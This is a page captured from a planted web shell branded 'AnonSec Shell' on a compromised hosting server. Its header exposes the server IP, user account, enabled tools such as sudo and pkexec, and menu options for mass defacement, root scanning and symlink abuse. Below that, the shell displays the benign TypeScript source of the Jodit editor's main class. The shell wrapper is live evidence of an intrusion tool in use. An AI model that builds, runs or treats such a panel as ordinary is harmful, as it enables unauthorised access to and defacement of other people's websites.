AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/public_html/assets/admin/jodit/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/public_html/assets/admin/jodit/src/Jodit.ts
/*!
 * Jodit Editor (https://xdsoft.net/jodit/)
 * License GNU General Public License version 2 or later;
 * Copyright 2013-2019 Valeriy Chupurnov https://xdsoft.net
 */

import { Config, OptionsDefault } from './Config';
import * as consts from './constants';
import { Component } from './modules/Component';
import { Dom } from './modules/Dom';
import {
    asArray,
    debounce,
    defaultLanguage,
    inArray,
    normalizeKeyAliases,
    splitArray,
    sprintf,
} from './modules/helpers/';
import { JoditArray } from './modules/helpers/JoditArray';
import { JoditObject } from './modules/helpers/JoditObject';
import { Observer } from './modules/observer/observer';
import { Select } from './modules/Selection';
import { StatusBar } from './modules/StatusBar';
import { LocalStorageProvider } from './modules/storage/localStorageProvider';
import { Storage } from './modules/storage/storage';

import {
    CustomCommand,
    ExecCommandCallback,
    IDictionary,
    IPlugin,
    markerInfo,
    Modes,
} from './types/types';

import { ViewWithToolbar } from './modules/view/viewWithToolbar';
import { IJodit } from './types/jodit';
import { IFileBrowser, IUploader } from './types';

/**
 * Class Jodit. Main class
 */
export class Jodit extends ViewWithToolbar implements IJodit {
    get value(): string {
        return this.getEditorValue();
    }
    set value(html: string) {
        this.setEditorValue(html);
    }

    /**
     * Return default timeout period in milliseconds for some debounce or throttle functions.
     * By default return {observer.timeout} options
     *
     * @return {number}
     */
    get defaultTimeout(): number {
        return this.options && this.options.observer
            ? this.options.observer.timeout
            : Jodit.defaultOptions.observer.timeout;
    }

    static Array(array: any[]): JoditArray {
        return new JoditArray(array);
    }

    static Object(object: any): JoditObject {
        return new JoditObject(object);
    }

    static fireEach(events: string, ...args: any[]) {
        Object.keys(Jodit.instances).forEach((key: string) => {
            const editor: Jodit = Jodit.instances[key];
            if (!editor.isDestructed && editor.events) {
                editor.events.fire(events, ...args);
            }
        });
    }

    static defaultOptions: Config;
    static plugins: any = {};
    static modules: any = {};
    static instances: IDictionary<Jodit> = {};
    static lang: any = {};

    private __defaultStyleDisplayKey = 'data-jodit-default-style-display';
    private __defaultClassesKey = 'data-jodit-default-classes';

    private commands: IDictionary<Array<CustomCommand<IJodit>>> = {};

    private __selectionLocked: markerInfo[] | null = null;

    private __wasReadOnly: boolean = false;

    /**
     * @property {HTMLDocument} editorDocument
     */
    editorDocument: HTMLDocument;

    /**
     * @property {Window} editorWindow
     */
    editorWindow: Window;

    /**
     * Container for set/get value
     * @type {Storage}
     */
    storage: Storage = new Storage(new LocalStorageProvider());

    /**
     * workplace It contains source and wysiwyg editors
     */
    workplace: HTMLDivElement;

    statusbar: StatusBar;
    observer: Observer;

    /**
     * element It contains source element
     */
    element: HTMLElement;

    /**
     * editor It contains the root element editor
     */
    editor: HTMLDivElement | HTMLBodyElement = this.create.div();

    /**
     * iframe Iframe for iframe mode
     */
    iframe: HTMLIFrameElement | null = null;

    /**
     * options All Jodit settings default + second arguments of constructor
     */
    options: Config;

    /**
     * @property {Select} selection
     */
    selection: Select;

    /**
     * @property {Uploader} uploader
     */
    get uploader(): IUploader {
        return this.getInstance('Uploader');
    }

    /**
     * @property {FileBrowser} filebrowser
     */
    get filebrowser(): IFileBrowser {
        return this.getInstance('FileBrowser');
    }

    helper: any;

    __plugins: IDictionary<IPlugin> = {};

    mode: Modes = consts.MODE_WYSIWYG;

    /**
     * Return source element value
     */
    getElementValue() {
        return (this.element as HTMLInputElement).value !== undefined
            ? (this.element as HTMLInputElement).value
            : this.element.innerHTML;
    }

    /**
     * Return real HTML value from WYSIWYG editor.
     *
     * @return {string}
     */
    getNativeEditorValue(): string {
        if (this.editor) {
            return this.editor.innerHTML;
        }

        return this.getElementValue();
    }

    /**
     * Return editor value
     */
    getEditorValue(removeSelectionMarkers: boolean = true): string {
        /**
         * Triggered before {@link Jodit~getEditorValue|getEditorValue} executed.
         * If returned not undefined getEditorValue will return this value
         *
         * @event beforeGetValueFromEditor
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('beforeGetValueFromEditor', function () {
         *     return editor.editor.innerHTML.replace(/a/g, 'b');
         * });
         * ```
         */
        let value: string;

        value = this.events.fire('beforeGetValueFromEditor');

        if (value !== undefined) {
            return value;
        }

        value = this.getNativeEditorValue().replace(
            consts.INVISIBLE_SPACE_REG_EXP,
            ''
        );

        if (removeSelectionMarkers) {
            value = value.replace(
                /<span[^>]+id="jodit_selection_marker_[^>]+><\/span>/g,
                ''
            );
        }

        if (value === '<br>') {
            value = '';
        }

        /**
         * Triggered after  {@link Jodit~getEditorValue|getEditorValue} got value from wysiwyg.
         * It can change new_value.value
         *
         * @event afterGetValueFromEditor
         * @param string new_value
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('afterGetValueFromEditor', function (new_value) {
         *     new_value.value = new_value.value.replace('a', 'b');
         * });
         * ```
         */
        const new_value: { value: string } = { value };

        this.events.fire('afterGetValueFromEditor', new_value);

        return new_value.value;
    }

    getEditorText(): string {
        if (this.editor) {
            return this.editor.innerText;
        }

        const div: HTMLDivElement = this.create.inside.div();
        div.innerHTML = this.getElementValue();

        return div.innerText;
    }

    /**
     * Set source element value and if set sync fill editor value
     * When method was called without arguments - it is simple way to synchronize element to editor
     *
     * @param {string} [value]
     */
    setElementValue(value?: string) {
        if (typeof value !== 'string' && value !== undefined) {
            throw new Error('value must be string');
        }

        if (value !== undefined) {
            if (this.element !== this.container) {
                if ((this.element as HTMLInputElement).value !== undefined) {
                    (this.element as HTMLInputElement).value = value;
                } else {
                    this.element.innerHTML = value;
                }
            }
        } else {
            value = this.getElementValue();
        }

        if (value !== this.getEditorValue()) {
            this.setEditorValue(value);
        }
    }

    /**
     * Set editor html value and if set sync fill source element value
     * When method was called without arguments - it is simple way to synchronize editor to element
     * @event beforeSetValueToEditor
     * @param {string} [value]
     */
    setEditorValue(value?: string) {
        /**
         * Triggered before  {@link Jodit~getEditorValue|setEditorValue} set value to wysiwyg.
         *
         * @event beforeSetValueToEditor
         * @param string old_value
         * @returns string | undefined | false
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('beforeSetValueToEditor', function (old_value) {
         *     return old_value.value.replace('a', 'b');
         * });
         * editor.events.on('beforeSetValueToEditor', function () {
         *     return false; // disable setEditorValue method
         * });
         * ```
         */
        const newValue: string | undefined | false = this.events.fire(
            'beforeSetValueToEditor',
            value
        );

        if (newValue === false) {
            return;
        }

        if (typeof newValue === 'string') {
            value = newValue;
        }

        if (!this.editor) {
            if (value !== undefined) {
                this.setElementValue(value);
            }
            return; // try change value before init or after destruct
        }

        if (typeof value !== 'string' && value !== undefined) {
            throw new Error('value must be string');
        }

        if (value !== undefined && this.editor.innerHTML !== value) {
            this.editor.innerHTML = value;
        }

        const old_value: string = this.getElementValue(),
            new_value: string = this.getEditorValue();

        if (old_value !== new_value) {
            this.setElementValue(new_value);
            this.events.fire('change', new_value, old_value);
        }
    }

    /**
     * Register custom handler for command
     *
     * @example
     * ```javascript
     * var jodit = new Jodit('#editor);
     *
     * jodit.setEditorValue('test test test');
     *
     * jodit.registerCommand('replaceString', function (command, needle, replace) {
     *      var value = this.getEditorValue();
     *      this.setEditorValue(value.replace(needle, replace));
     *      return false; // stop execute native command
     * });
     *
     * jodit.execCommand('replaceString', 'test', 'stop');
     *
     * console.log(jodit.getEditorValue()); // stop test test
     *
     * // and you can add hotkeys for command
     * jodit.registerCommand('replaceString', {
     *    hotkeys: 'ctrl+r',
     *    exec: function (command, needle, replace) {
     *     var value = this.getEditorValue();
     *     this.setEditorValue(value.replace(needle, replace));
     *    }
     * });
     *
     * ```
     *
     * @param {string} commandNameOriginal
     * @param {ICommandType | Function} command
     */
    registerCommand(
        commandNameOriginal: string,
        command: CustomCommand<IJodit>
    ): IJodit {
        const commandName: string = commandNameOriginal.toLowerCase();

        if (this.commands[commandName] === undefined) {
            this.commands[commandName] = [];
        }

        this.commands[commandName].push(command);

        if (typeof command !== 'function') {
            const hotkeys: string | string[] | void =
                this.options.commandToHotkeys[commandName] ||
                this.options.commandToHotkeys[commandNameOriginal] ||
                command.hotkeys;

            if (hotkeys) {
                this.registerHotkeyToCommand(hotkeys, commandName);
            }
        }

        return this;
    }

    /**
     * Register hotkey for command
     *
     * @param hotkeys
     * @param commandName
     */
    registerHotkeyToCommand(
        hotkeys: string | string[],
        commandName: string
    ) {
        const shortcuts: string = asArray(hotkeys)
            .map(normalizeKeyAliases)
            .map(hotkey => hotkey + '.hotkey')
            .join(' ');

        this.events.off(shortcuts).on(shortcuts, () => {
            return this.execCommand(commandName); // because need `beforeCommand`
        });
    }

    /**
     * Execute command editor
     *
     * @method execCommand
     * @param  {string} command command. It supports all the
     * {@link https://developer.mozilla.org/ru/docs/Web/API/Document/execCommand#commands} and a number of its own
     * for example applyCSSProperty. Comand fontSize receives the second parameter px,
     * formatBlock and can take several options
     * @param  {boolean|string|int} showUI
     * @param  {boolean|string|int} value
     * @fires beforeCommand
     * @fires afterCommand
     * @example
     * ```javascript
     * this.execCommand('fontSize', 12); // sets the size of 12 px
     * this.execCommand('underline');
     * this.execCommand('formatBlock', 'p'); // will be inserted paragraph
     * ```
     */
    execCommand(
        command: string,
        showUI: any = false,
        value: null | any = null
    ) {
        if (this.options.readonly && command !== 'selectall') {
            return;
        }

        let result: any;
        command = command.toLowerCase();

        /**
         * Called before any command
         * @event beforeCommand
         * @param {string} command Command name in lowercase
         * @param {string} second The second parameter for the command
         * @param {string} third The third option is for the team
         * @example
         * ```javascript
         * parent.events.on('beforeCommand', function (command) {
         *  if (command === 'justifyCenter') {
         *      var p = parent.getDocument().createElement('p')
         *      parent.selection.insertNode(p)
         *      parent.selection.setCursorIn(p);
         *      p.style.textAlign = 'justyfy';
         *      return false; // break execute native command
         *  }
         * })
         * ```
         */
        result = this.events.fire('beforeCommand', command, showUI, value);

        if (result !== false) {
            result = this.execCustomCommands(command, showUI, value);
        }

        if (result !== false) {
            this.selection.focus();
            switch (command) {
                case 'selectall':
                    this.selection.select(this.editor, true);
                    break;
                default:
                    try {
                        result = this.editorDocument.execCommand(
                            command,
                            showUI,
                            value
                        );
                    } catch (e) {}
            }
        }

        /**
         * It called after any command
         * @event afterCommand
         * @param {string} command name command
         * @param {*} second The second parameter for the command
         * @param {*} third The third option is for the team
         */
        this.events.fire('afterCommand', command, showUI, value);

        this.setEditorValue(); // synchrony

        return result;
    }

    private execCustomCommands(
        commandName: string,
        second: any = false,
        third: null | any = null
    ): false | void {
        commandName = commandName.toLowerCase();

        if (this.commands[commandName] !== undefined) {
            let result: any = void 0;

            const exec = (command: CustomCommand<Jodit>) => {
                let callback: ExecCommandCallback<Jodit>;

                if (typeof command === 'function') {
                    callback = command;
                } else {
                    callback = command.exec;
                }

                const resultCurrent: any = (callback as any).call(
                    this,
                    commandName,
                    second,
                    third
                );

                if (resultCurrent !== undefined) {
                    result = resultCurrent;
                }
            };

            for (let i = 0; i < this.commands[commandName].length; i += 1) {
                exec(this.commands[commandName][i]);
            }

            return result;
        }
    }

    /**
     * Disable selecting
     */
    lock(name: string = 'any') {
        if (super.lock(name)) {
            this.__selectionLocked = this.selection.save();
            this.editor.classList.add('jodit_disabled');
            return true;
        }

        return false;
    }

    /**
     * Enable selecting
     */
    unlock() {
        if (super.unlock()) {
            this.editor.classList.remove('jodit_disabled');

            if (this.__selectionLocked) {
                this.selection.restore(this.__selectionLocked);
            }

            return true;
        }

        return false;
    }

    /**
     * Return current editor mode: Jodit.MODE_WYSIWYG, Jodit.MODE_SOURCE or Jodit.MODE_SPLIT
     * @return {number}
     */
    getMode(): Modes {
        return this.mode;
    }
    isEditorMode(): boolean {
        return this.getRealMode() === consts.MODE_WYSIWYG;
    }

    /**
     * Return current real work mode. When editor in MODE_SOURCE or MODE_WYSIWYG it will
     * return them, but then editor in MODE_SPLIT it will return MODE_SOURCE if
     * Textarea(CodeMirror) focused or MODE_WYSIWYG otherwise
     *
     * @example
     * ```javascript
     * var editor = new Jodit('#editor');
     * console.log(editor.getRealMode());
     * ```
     */
    getRealMode(): Modes {
        if (this.getMode() !== consts.MODE_SPLIT) {
            return this.getMode();
        }

        const active: Element | null = this.ownerDocument.activeElement;

        if (
            active &&
            (Dom.isOrContains(this.editor, active) ||
                Dom.isOrContains(this.toolbar.container, active))
        ) {
            return consts.MODE_WYSIWYG;
        }

        return consts.MODE_SOURCE;
    }

    /**
     * Set current mode
     *
     * @fired beforeSetMode
     * @fired afterSetMode
     */
    setMode(mode: number | string) {
        const oldmode: Modes = this.getMode();
        const data = {
                mode: <Modes>parseInt(mode.toString(), 10),
            },
            modeClasses = [
                'jodit_wysiwyg_mode',
                'jodit_source_mode',
                'jodit_split_mode',
            ];

        /**
         * Triggered before {@link Jodit~setMode|setMode} executed. If returned false method stopped
         * @event beforeSetMode
         * @param {Object} data PlainObject {mode: {string}} In handler you can change data.mode
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('beforeSetMode', function (data) {
         *     data.mode = Jodit.MODE_SOURCE; // not respond to the mode change. Always make the source code mode
         * });
         * ```
         */
        if (this.events.fire('beforeSetMode', data) === false) {
            return;
        }

        this.mode = inArray(data.mode, [
            consts.MODE_SOURCE,
            consts.MODE_WYSIWYG,
            consts.MODE_SPLIT,
        ])
            ? data.mode
            : consts.MODE_WYSIWYG;

        if (this.options.saveModeInStorage) {
            this.storage.set('jodit_default_mode', this.mode);
        }

        modeClasses.forEach(className => {
            this.container.classList.remove(className);
        });

        this.container.classList.add(modeClasses[this.mode - 1]);

        /**
         * Triggered after {@link Jodit~setMode|setMode} executed
         * @event afterSetMode
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('afterSetMode', function () {
         *     editor.setEditorValue(''); // clear editor's value after change mode
         * });
         * ```
         */
        if (oldmode !== this.getMode()) {
            this.events.fire('afterSetMode');
        }
    }

    /**
     * Toggle editor mode WYSIWYG to TEXTAREA(CodeMirror) to SPLIT(WYSIWYG and TEXTAREA) to again WYSIWYG
     *
     * @example
     * ```javascript
     * var editor = new Jodit('#editor');
     * editor.toggleMode();
     * ```
     */
    toggleMode() {
        let mode: number = this.getMode();
        if (
            inArray(mode + 1, [
                consts.MODE_SOURCE,
                consts.MODE_WYSIWYG,
                this.options.useSplitMode ? consts.MODE_SPLIT : 9,
            ])
        ) {
            mode += 1;
        } else {
            mode = consts.MODE_WYSIWYG;
        }

        this.setMode(mode);
    }

    /**
     * Internationalization method. Uses Jodit.lang object
     *
     * @param {string} key Some text
     * @param {string[]} params Some text
     * @return {string}
     * @example
     * ```javascript
     * var editor = new Jodit("#redactor", {
     *      langusage: 'ru'
     * });
     * console.log(editor.i18n('Cancel')) //Отмена;
     *
     * Jodit.defaultOptions.language = 'ru';
     * console.log(Jodit.prototype.i18n('Cancel')) //Отмена
     *
     * Jodit.lang.cs = {
     *    Cancel: 'Zrušit'
     * };
     * Jodit.defaultOptions.language = 'cs';
     * console.log(Jodit.prototype.i18n('Cancel')) //Zrušit
     *
     * Jodit.lang.cs = {
     *    'Hello world': 'Hello \s Good \s'
     * };
     * Jodit.defaultOptions.language = 'cs';
     * console.log(Jodit.prototype.i18n('Hello world', 'mr.Perkins', 'day')) //Hello mr.Perkins Good day
     * ```
     */
    i18n(key: string, ...params: Array<string | number>): string {
        const debug: boolean =
            this.options !== undefined && this.options.debugLanguage;

        let store: IDictionary;

        const parse = (value: string): string =>
                params.length
                    ? sprintf.apply(this, [value].concat(params as string[]))
                    : value,
            default_language: string =
                Config.defaultOptions.language === 'auto'
                    ? defaultLanguage(Config.defaultOptions.language)
                    : Config.defaultOptions.language,
            language: string = defaultLanguage(
                this.options ? this.options.language : default_language
            );

        if (this.options !== undefined && Jodit.lang[language] !== undefined) {
            store = Jodit.lang[language];
        } else {
            if (Jodit.lang[default_language] !== undefined) {
                store = Jodit.lang[default_language];
            } else {
                store = Jodit.lang.en;
            }
        }

        if (
            this.options !== undefined &&
            (this.options.i18n as any)[language] !== undefined &&
            (this.options.i18n as any)[language][key]
        ) {
            return parse((this.options.i18n as any)[language][key]);
        }

        if (typeof store[key] === 'string' && store[key]) {
            return parse(store[key]);
        }

        if (debug) {
            return '{' + key + '}';
        }

        if (typeof Jodit.lang.en[key] === 'string' && Jodit.lang.en[key]) {
            return parse(Jodit.lang.en[key]);
        }

        return parse(key);
    }

    /**
     * Switch on/off the editor into the disabled state.
     * When in disabled, the user is not able to change the editor content
     * This function firing the `disabled` event.
     *
     * @param {boolean} isDisabled
     */
    setDisabled(isDisabled: boolean) {
        this.options.disabled = isDisabled;

        const readOnly: boolean = this.__wasReadOnly;
        this.setReadOnly(isDisabled || readOnly);
        this.__wasReadOnly = readOnly;

        if (this.editor) {
            this.editor.setAttribute('aria-disabled', isDisabled.toString());
            this.container.classList.toggle('jodit_disabled', isDisabled);
            this.events.fire('disabled', isDisabled);
        }
    }

    /**
     * Return true if editor in disabled mode
     */
    getDisabled(): boolean {
        return this.options.disabled;
    }

    /**
     * Switch on/off the editor into the read-only state.
     * When in readonly, the user is not able to change the editor content, but can still
     * use some editor functions (show source code, print content, or seach).
     * This function firing the `readonly` event.
     *
     * @param {boolean} isReadOnly
     */
    setReadOnly(isReadOnly: boolean) {
        if (this.__wasReadOnly === isReadOnly) {
            return;
        }

        this.__wasReadOnly = isReadOnly;
        this.options.readonly = isReadOnly;

        if (isReadOnly) {
            this.editor && this.editor.removeAttribute('contenteditable');
        } else {
            this.editor && this.editor.setAttribute('contenteditable', 'true');
        }

        this.events && this.events.fire('readonly', isReadOnly);
    }

    /**
     * Return true if editor in read-only mode
     */
    getReadOnly(): boolean {
        return this.options.readonly;
    }

    /**
     * Create instance of Jodit
     * @constructor
     *
     * @param {HTMLInputElement | string} element Selector or HTMLElement
     * @param {object} options Editor's options
     */
    constructor(element: HTMLInputElement | string, options?: object) {
        super();

        this.options = new OptionsDefault(options) as Config;

        // in iframe it can be changed
        this.editorDocument = this.options.ownerDocument;
        this.editorWindow = this.options.ownerWindow;
        this.ownerDocument = this.options.ownerDocument;
        this.ownerWindow = this.options.ownerWindow;

        if (typeof element === 'string') {
            try {
                this.element = this.ownerDocument.querySelector(
                    element
                ) as HTMLInputElement;
            } catch (e) {
                throw new Error(
                    'String "' + element + '" should be valid HTML selector'
                );
            }
        } else {
            this.element = element;
        }

        // Duck checking
        if (
            !this.element ||
            typeof this.element !== 'object' ||
            this.element.nodeType !== Node.ELEMENT_NODE ||
            !this.element.cloneNode
        ) {
            throw new Error(
                'Element "' +
                    element +
                    '" should be string or HTMLElement instance'
            );
        }

        if (this.element.attributes) {
            Array.from(this.element.attributes).forEach((attr: Attr) => {
                const name: string = attr.name;
                let value: string | boolean | number = attr.value;

                if (
                    (Jodit.defaultOptions as any)[name] !== undefined &&
                    (!options || (options as any)[name] === undefined)
                ) {
                    if (['readonly', 'disabled'].indexOf(name) !== -1) {
                        value = value === '' || value === 'true';
                    }

                    if (/^[0-9]+(\.)?([0-9]+)?$/.test(value.toString())) {
                        value = Number(value);
                    }

                    (this.options as any)[name] = value;
                }
            });
        }

        if (this.options.events) {
            Object.keys(this.options.events).forEach((key: string) => {
                this.events.on(key, this.options.events[key]);
            });
        }

        this.container.classList.add('jodit_container');
        this.container.setAttribute('contenteditable', 'false');

        this.selection = new Select(this);
        this.events.on('removeMarkers', () => {
            if (this.selection) {
                this.selection.removeMarkers();
            }
        });

        this.observer = new Observer(this);

        let buffer: null | string = null;

        if (this.options.inline) {
            if (['TEXTAREA', 'INPUT'].indexOf(this.element.nodeName) === -1) {
                this.container = this.element as HTMLDivElement;
                this.element.setAttribute(
                    this.__defaultClassesKey,
                    this.element.className.toString()
                );
                buffer = this.container.innerHTML;
                this.container.innerHTML = '';
            }

            this.container.classList.add('jodit_inline');
            this.container.classList.add('jodit_container');
        }

        // actual for inline mode
        if (this.element !== this.container) {
            // hide source element
            if (this.element.style.display) {
                this.element.setAttribute(
                    this.__defaultStyleDisplayKey,
                    this.element.style.display
                );
            }

            this.element.style.display = 'none';
        }

        this.container.classList.add(
            'jodit_' + (this.options.theme || 'default') + '_theme'
        );

        if (this.options.zIndex) {
            this.container.style.zIndex = parseInt(
                this.options.zIndex.toString(),
                10
            ).toString();
        }

        this.workplace = this.create.div('jodit_workplace', {
            contenteditable: false,
        });

        if (this.options.toolbar) {
            this.toolbar.build(
                splitArray(this.options.buttons).concat(
                    this.options.extraButtons
                ),
                this.container
            );
        }

        this.container.classList.add(
            'jodit_toolbar_size-' +
                (['middle', 'large', 'small'].indexOf(
                    this.options.toolbarButtonSize.toLowerCase()
                ) !== -1
                    ? this.options.toolbarButtonSize.toLowerCase()
                    : 'middle')
        );

        if (this.options.textIcons) {
            this.container.classList.add('jodit_text_icons');
        }

        this.events.on(this.ownerWindow, 'resize', () => {
            if (this.events) {
                this.events.fire('resize');
            }
        });

        this.container.appendChild(this.workplace);
        this.statusbar = new StatusBar(this, this.container);

        this.workplace.appendChild(this.progress_bar);

        if (this.element.parentNode && this.element !== this.container) {
            this.element.parentNode.insertBefore(this.container, this.element);
        }

        this.id =
            this.element.getAttribute('id') || new Date().getTime().toString();

        this.editor = this.create.div('jodit_wysiwyg', {
            contenteditable: true,
            'aria-disabled': false,
            tabindex: this.options.tabIndex,
        });

        this.workplace.appendChild(this.editor);

        this.__initPlugines();

        this.__initEditor(buffer).then(async () => {
            if (this.isDestructed) {
                return;
            }

            if (
                this.options.enableDragAndDropFileToEditor &&
                this.options.uploader &&
                (this.options.uploader.url ||
                    this.options.uploader.insertImageAsBase64URI)
            ) {
                this.uploader.bind(this.editor);
            }

            this.isInited = true;
            await this.events.fire('afterInit', this);
            this.events.fire('afterConstructor', this);
        });
    }

    isInited: boolean = false;

    private __initPlugines() {
        const disable: string[] = Array.isArray(this.options.disablePlugins)
            ? this.options.disablePlugins.map((pluginName: string) => {
                  return pluginName.toLowerCase();
              })
            : this.options.disablePlugins.toLowerCase().split(/[\s,]+/);

        Object.keys(Jodit.plugins).forEach((key: string) => {
            if (disable.indexOf(key.toLowerCase()) === -1) {
                this.__plugins[key] = new Jodit.plugins[key](this);
            }
        });
    }

    private async __initEditor(buffer: null | string) {
        await this.__createEditor();

        if (this.isDestructed) {
            return;
        }

        // syncro
        if (this.element !== this.container) {
            this.setElementValue();
        } else {
            buffer !== null && this.setEditorValue(buffer); // inline mode
        }

        Jodit.instances[this.id] = this;

        let mode: number = this.options.defaultMode;

        if (this.options.saveModeInStorage) {
            const localMode: string | null = this.storage.get(
                'jodit_default_mode'
            );
            if (localMode !== null) {
                mode = parseInt(localMode, 10);
            }
        }

        this.setMode(mode);

        if (this.options.readonly) {
            this.setReadOnly(true);
        }
        if (this.options.disabled) {
            this.setDisabled(true);
        }

        // if enter plugin not installed
        try {
            this.editorDocument.execCommand(
                'defaultParagraphSeparator',
                false,
                this.options.enter.toLowerCase()
            );
        } catch (ignore) {}

        // fix for native resizing
        try {
            this.editorDocument.execCommand(
                'enableObjectResizing',
                false,
                'false'
            );
        } catch (ignore) {}

        try {
            this.editorDocument.execCommand(
                'enableInlineTableEditing',
                false,
                'false'
            );
        } catch {}
    }

    /**
     * Create main DIV element and replace source textarea
     *
     * @private
     */
    private async __createEditor() {
        const defaultEditorAreae: HTMLElement = this.editor;

        const stayDefault: boolean | undefined = await this.events.fire(
            'createEditor',
            this
        );

        if (this.isDestructed) {
            return;
        }

        if (stayDefault === false) {
            Dom.safeRemove(defaultEditorAreae);
        }

        if (this.options.editorCssClass) {
            this.editor.classList.add(this.options.editorCssClass);
        }

        // proxy events
        this.events
            .on('synchro', () => {
                this.setEditorValue();
            })
            .on(
                this.editor,
                'selectionchange selectionstart keydown keyup keypress mousedown mouseup mousepress ' +
                    'click copy cut dragstart drop dragover paste resize touchstart touchend focus blur',
                (event: Event): false | void => {
                    if (this.options.readonly) {
                        return;
                    }
                    if (this.events && this.events.fire) {
                        if (this.events.fire(event.type, event) === false) {
                            return false;
                        }

                        this.setEditorValue();
                    }
                }
            );

        if (this.options.spellcheck) {
            this.editor.setAttribute('spellcheck', 'true');
        }

        // direction
        if (this.options.direction) {
            const
                direction = this.options.direction.toLowerCase() === 'rtl' ? 'rtl' : 'ltr';

            this.editor.style.direction = direction;
            this.container.style.direction = direction;
            this.editor.setAttribute('dir', direction);
            this.container.setAttribute('dir', direction);

            this.toolbar.setDirection(direction);
        }

        if (this.options.triggerChangeEvent) {
            this.events.on(
                'change',
                debounce(() => {
                    this.events && this.events.fire(this.element, 'change');
                }, this.defaultTimeout)
            );
        }
    }

    /**
     * Jodit's Destructor. Remove editor, and return source input
     */
    destruct() {
        if (this.isDestructed) {
            return;
        }

        /**
         * Triggered before {@link events:beforeDestruct|beforeDestruct} executed. If returned false method stopped
         *
         * @event beforeDestruct
         * @example
         * ```javascript
         * var editor = new Jodit("#redactor");
         * editor.events.on('beforeDestruct', function (data) {
         *     return false;
         * });
         * ```
         */
        if (this.events.fire('beforeDestruct') === false) {
            return;
        }

        if (!this.editor) {
            return;
        }

        const buffer: string = this.getEditorValue();

        if (this.element !== this.container) {
            if (this.element.hasAttribute(this.__defaultStyleDisplayKey)) {
                this.element.style.display = this.element.getAttribute(
                    this.__defaultStyleDisplayKey
                );
                this.element.removeAttribute(this.__defaultStyleDisplayKey);
            } else {
                this.element.style.display = '';
            }
        } else {
            if (this.element.hasAttribute(this.__defaultClassesKey)) {
                this.element.className =
                    this.element.getAttribute(this.__defaultClassesKey) || '';
                this.element.removeAttribute(this.__defaultClassesKey);
            }
        }

        if (
            this.element.hasAttribute('style') &&
            !this.element.getAttribute('style')
        ) {
            this.element.removeAttribute('style');
        }

        Object.keys(this.__plugins).forEach((pluginName: string) => {
            if (
                this.__plugins !== undefined &&
                this.__plugins[pluginName] !== undefined &&
                this.__plugins[pluginName].destruct !== undefined &&
                typeof this.__plugins[pluginName].destruct === 'function'
            ) {
                // @ts-ignore: Object is possibly 'undefined'
                this.__plugins[pluginName].destruct();
            }

            delete this.__plugins[pluginName];
        });

        this.observer.destruct();
        this.statusbar.destruct();

        delete this.observer;
        delete this.statusbar;
        delete this.storage;

        this.components.forEach((component: Component) => {
            if (
                component.destruct !== undefined &&
                typeof component.destruct === 'function' &&
                !component.isDestructed
            ) {
                component.destruct();
            }
        });

        this.components.length = 0;
        this.commands = {};

        delete this.selection;
        this.__selectionLocked = null;

        this.events.off(this.ownerWindow);
        this.events.off(this.ownerDocument);
        this.events.off(this.ownerDocument.body);
        this.events.off(this.element);
        this.events.off(this.editor);

        Dom.safeRemove(this.workplace);
        Dom.safeRemove(this.editor);
        Dom.safeRemove(this.progress_bar);
        Dom.safeRemove(this.iframe);

        if (this.container !== this.element) {
            Dom.safeRemove(this.container);
        }

        delete this.workplace;
        delete this.editor;
        delete this.progress_bar;
        delete this.iframe;

        // inline mode
        if (this.container === this.element) {
            this.element.innerHTML = buffer;
        }

        delete Jodit.instances[this.id];

        super.destruct();

        delete this.container;
    }
}

Anon7 - 2022
AnonSec Team